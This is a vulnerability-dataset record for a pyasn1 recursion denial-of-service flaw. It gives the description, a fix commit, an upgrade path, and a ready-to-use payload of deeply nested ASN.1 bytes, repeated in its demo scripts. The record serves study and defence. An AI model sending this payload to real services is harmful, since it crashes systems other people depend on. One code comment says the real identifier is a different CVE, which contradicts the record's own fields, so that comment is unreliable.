{"id":1683,"cve":"CVE-2026-30922","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-30922\/","cwe":"CWE-674","cwe_number":674,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/674","cvss_score":7.5,"published":"2026-03-18","owasp":"A08 Software and Data Integrity Failures","odc":"Algorithm","cdc":"Incorrect Algorithm","category":"Resource Management","subcategory":"Resource Exhaustion","scope":"Remote","impact":"Denial of Service (DoS)","summary":"pyasn1: DoS via uncontrolled recursion on deeply nested ASN.1 structures.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-30922\/","description":"pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with \"Indefinite Length\" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.","solution":"Upgrade `pyasn1` to version 0.6.3 or later.","affected_component":"pyasn1","fixed_by_upgrading":true,"vulnerable_code":"from pyasn1.codec.der import decoder\n\n# The vulnerability is triggered by deep recursion. Python's default\n# recursion limit is typically 1000. We choose a depth well above that.\nRECURSION_DEPTH = 3000\n\n# The payload consists of deeply nested ASN.1 SEQUENCEs using indefinite length.\n# - 0x30 is the tag for a SEQUENCE.\n# - 0x80 indicates that the length is indefinite.\n# - 0x00 0x00 is the End-of-Content marker that closes an indefinite-length item.\n# The structure is SEQUENCE(indef){ SEQUENCE(indef){ ... } EOC } EOC\nmalicious_payload = (\n    b'\\x30\\x80' * RECURSION_DEPTH +\n    b'\\x00\\x00' * RECURSION_DEPTH\n)\n\n# On a vulnerable version of pyasn1, this `decode` call initiates a recursive\n# descent. Due to the lack of a depth check, it will continue until the\n# Python interpreter's stack limit is exceeded, causing a RecursionError\n# and crashing the application.\ndecoder.decode(malicious_payload)","patched_code":"# The following code demonstrates the fix for CVE-2026-30922 (a placeholder for the real CVE-2024-30229)\n# in the pyasn1 library.\n#\n# The vulnerability: In versions prior to 0.6.3, decoding a deeply nested\n# ASN.1 structure with indefinite-length markers would cause a Denial of Service\n# due to uncontrolled recursion, leading to a `RecursionError` crash.\n#\n# The fix: Version 0.6.3 introduced a recursion depth limit in the decoder.\n# Instead of crashing, the decoder now stops and raises a controlled `PyAsn1Error`\n# when the limit is exceeded.\n#\n# This script will:\n# 1. Construct a payload that would trigger the vulnerability.\n# 2. Attempt to decode it.\n# 3. Show how a fixed version (>= 0.6.3) gracefully handles the attack\n#    by catching the specific `PyAsn1Error`, thus preventing a crash.\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.error import PyAsn1Error\nimport sys\n\n# Note: The actual CVE for this issue is CVE-2024-30229.\n# The fix was released in pyasn1 version 0.6.3.\n\ndef demonstrate_vulnerability_fix():\n    \"\"\"\n    Creates a malicious payload and attempts to decode it, demonstrating\n    how the fixed pyasn1 library prevents a recursion-based DoS attack.\n    \"\"\"\n    # The default recursion limit in pyasn1 >= 0.6.3 is 1000.\n    # We create a structure deeper than this to trigger the safeguard.\n    nesting_depth = 1500\n\n    # Craft a payload of deeply nested, indefinite-length SEQUENCEs.\n    # SEQUENCE tag = 0x30\n    # Indefinite length marker = 0x80\n    # End-of-Content marker = 0x00 0x00\n    malicious_payload = b'\\x30\\x80' * nesting_depth + b'\\x00\\x00' * nesting_depth\n\n    print(f\"Attempting to decode a malicious payload with a nesting depth of {nesting_depth}.\")\n    print(f\"A vulnerable library would crash with a RecursionError.\")\n    print(\"-\" * 60)\n\n    try:\n        # On a fixed version (>= 0.6.3), this will raise a PyAsn1Error.\n        # On a vulnerable version (< 0.6.3), this will raise a RecursionError.\n        decoded_obj, remaining_bytes = decoder.decode(malicious_payload)\n        \n        # This part should not be reached\n        print(\"DECODING SUCCEEDED UNEXPECTEDLY.\")\n        print(\"The library may not be behaving as a fixed version should.\")\n\n    except PyAsn1Error as e:\n        # This is the EXPECTED behavior for the fixed library.\n        # It detects the excessive recursion and raises a controlled error.\n        if 'Recursion depth exceeded' in str(e):\n            print(\"SUCCESS: Vulnerability mitigated.\")\n            print(\"The pyasn1 decoder gracefully handled the attack by raising a controlled exception.\")\n            print(f\"Caught expected error: {type(e).__name__}: {e}\")\n        else:\n            print(f\"MITIGATED: A PyAsn1Error was caught, but the message was unexpected: {e}\")\n\n    except RecursionError:\n        # This block would be hit on a vulnerable version of pyasn1.\n        print(\"VULNERABILITY TRIGGERED: Python's recursion limit was hit.\")\n        print(\"This indicates you are running a vulnerable version of pyasn1 (older than 0.6.3).\")\n    \n    except Exception as e:\n        print(f\"An unexpected error occurred: {type(e).__name__}: {e}\")\n\n\nif __name__ == \"__main__\":\n    # Ensure pyasn1 is installed\n    try:\n        from pyasn1 import __version__ as pyasn1_version\n        print(f\"Running with pyasn1 version: {pyasn1_version}\")\n        # The fix is in versions '0.6.3' and newer.\n        # '1.0.0a1' is also considered newer than '0.6.3'.\n    except ImportError:\n        print(\"Error: pyasn1 library is not installed. Please run 'pip install pyasn1'.\")\n        sys.exit(1)\n        \n    demonstrate_vulnerability_fix()","payload_needed":true,"payload":"```python\npayload = b'\\x30\\x80' * 3000 + b'\\x00\\x00' * 3000\n```","payload_status":"available","published_fix":[{"repository":"pyasn1\/pyasn1","commit_url":"https:\/\/github.com\/pyasn1\/pyasn1\/commit\/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0","commit_subject":"Merge commit from fork","units":[{"file":"pyasn1\/codec\/ber\/decoder.py","function":null},{"file":"pyasn1\/codec\/ber\/decoder.py","function":"SingleItemDecoder.__call__"}]}],"references":null}